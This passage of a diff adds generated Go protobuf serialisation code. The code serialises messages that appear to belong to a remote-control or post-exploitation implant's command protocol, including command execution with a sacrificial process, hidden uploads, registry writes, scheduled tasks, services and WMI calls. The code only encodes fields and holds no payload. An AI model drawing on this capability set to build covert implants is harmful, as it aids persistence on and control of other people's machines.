i, nil +} + +func (m *ExecuteCommand) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ExecuteCommand) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ExecuteCommand) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Sacrifice != nil { + size, err := m.Sacrifice.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Command) > 0 { + i -= len(m.Command) + copy(dAtA[i:], m.Command) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Command))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *UploadRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *UploadRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *UploadRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Override { + i-- + if m.Override { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if m.Hidden { + i-- + if m.Hidden { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if m.Priv != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Priv)) + i-- + dAtA[i] = 0x18 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *DownloadRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x28 + } + if m.Dir { + i-- + if m.Dir { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if m.BufferSize != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BufferSize)) + i-- + dAtA[i] = 0x18 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DownloadResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DownloadResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *DownloadResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x22 + } + if m.Cur != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cur)) + i-- + dAtA[i] = 0x18 + } + if m.Size != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Size)) + i-- + dAtA[i] = 0x10 + } + if len(m.Checksum) > 0 { + i -= len(m.Checksum) + copy(dAtA[i:], m.Checksum) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Checksum))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CurlRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CurlRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *CurlRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Header) > 0 { + for k := range m.Header { + v := m.Header[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x2a + } + } + if len(m.Body) > 0 { + i -= len(m.Body) + copy(dAtA[i:], m.Body) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Body))) + i-- + dAtA[i] = 0x22 + } + if len(m.Method) > 0 { + i -= len(m.Method) + copy(dAtA[i:], m.Method) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Method))) + i-- + dAtA[i] = 0x1a + } + if m.Timeout != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timeout)) + i-- + dAtA[i] = 0x10 + } + if len(m.Url) > 0 { + i -= len(m.Url) + copy(dAtA[i:], m.Url) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Url))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ChownRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ChownRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ChownRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Recursive { + i-- + if m.Recursive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x20 + } + if len(m.Gid) > 0 { + i -= len(m.Gid) + copy(dAtA[i:], m.Gid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Gid))) + i-- + dAtA[i] = 0x1a + } + if len(m.Uid) > 0 { + i -= len(m.Uid) + copy(dAtA[i:], m.Uid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Uid))) + i-- + dAtA[i] = 0x12 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *IfconfigResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *IfconfigResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *IfconfigResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NetInterfaces) > 0 { + for iNdEx := len(m.NetInterfaces) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.NetInterfaces[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *RegistryRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *RegistryRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Registry != nil { + size, err := m.Registry.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Registry) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Registry) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Registry) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RegistryWriteRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RegistryWriteRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *RegistryWriteRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Regtype != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Regtype)) + i-- + dAtA[i] = 0x50 + } + if m.QwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.QwordValue)) + i-- + dAtA[i] = 0x40 + } + if m.DwordValue != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.DwordValue)) + i-- + dAtA[i] = 0x38 + } + if len(m.ByteValue) > 0 { + i -= len(m.ByteValue) + copy(dAtA[i:], m.ByteValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ByteValue))) + i-- + dAtA[i] = 0x32 + } + if len(m.StringValue) > 0 { + i -= len(m.StringValue) + copy(dAtA[i:], m.StringValue) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringValue))) + i-- + dAtA[i] = 0x2a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hive) > 0 { + i -= len(m.Hive) + copy(dAtA[i:], m.Hive) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hive))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskScheduleRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskScheduleRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskScheduleRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Taskschd != nil { + size, err := m.Taskschd.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedule) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedule) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskSchedule) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.NextRunTime) > 0 { + i -= len(m.NextRunTime) + copy(dAtA[i:], m.NextRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.NextRunTime))) + i-- + dAtA[i] = 0x4a + } + if len(m.LastRunTime) > 0 { + i -= len(m.LastRunTime) + copy(dAtA[i:], m.LastRunTime) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LastRunTime))) + i-- + dAtA[i] = 0x42 + } + if m.Enabled { + i-- + if m.Enabled { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if len(m.Description) > 0 { + i -= len(m.Description) + copy(dAtA[i:], m.Description) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Description))) + i-- + dAtA[i] = 0x32 + } + if len(m.StartBoundary) > 0 { + i -= len(m.StartBoundary) + copy(dAtA[i:], m.StartBoundary) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StartBoundary))) + i-- + dAtA[i] = 0x2a + } + if m.TriggerType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TriggerType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *TaskSchedulesResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskSchedulesResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskSchedulesResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Schedules) > 0 { + for iNdEx := len(m.Schedules) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Schedules[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *ServiceRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServiceRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Service != nil { + size, err := m.Service.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceConfig) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceConfig) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServiceConfig) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.AccountName) > 0 { + i -= len(m.AccountName) + copy(dAtA[i:], m.AccountName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.AccountName))) + i-- + dAtA[i] = 0x32 + } + if m.ErrorControl != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ErrorControl)) + i-- + dAtA[i] = 0x28 + } + if m.StartType != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.StartType)) + i-- + dAtA[i] = 0x20 + } + if len(m.ExecutablePath) > 0 { + i -= len(m.ExecutablePath) + copy(dAtA[i:], m.ExecutablePath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ExecutablePath))) + i-- + dAtA[i] = 0x1a + } + if len(m.DisplayName) > 0 { + i -= len(m.DisplayName) + copy(dAtA[i:], m.DisplayName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DisplayName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServiceStatus) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServiceStatus) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServiceStatus) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.WaitHint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.WaitHint)) + i-- + dAtA[i] = 0x28 + } + if m.Checkpoint != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Checkpoint)) + i-- + dAtA[i] = 0x20 + } + if m.ExitCode != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ExitCode)) + i-- + dAtA[i] = 0x18 + } + if m.ProcessId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.ProcessId)) + i-- + dAtA[i] = 0x10 + } + if m.CurrentState != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.CurrentState)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Service) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Service) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Service) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Status != nil { + size, err := m.Status.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if m.Config != nil { + size, err := m.Config.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ServicesResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ServicesResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *ServicesResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Services) > 0 { + for iNdEx := len(m.Services) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Services[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *WmiQueryRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiQueryRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *WmiQueryRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *WmiMethodRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *WmiMethodRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *WmiMethodRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + 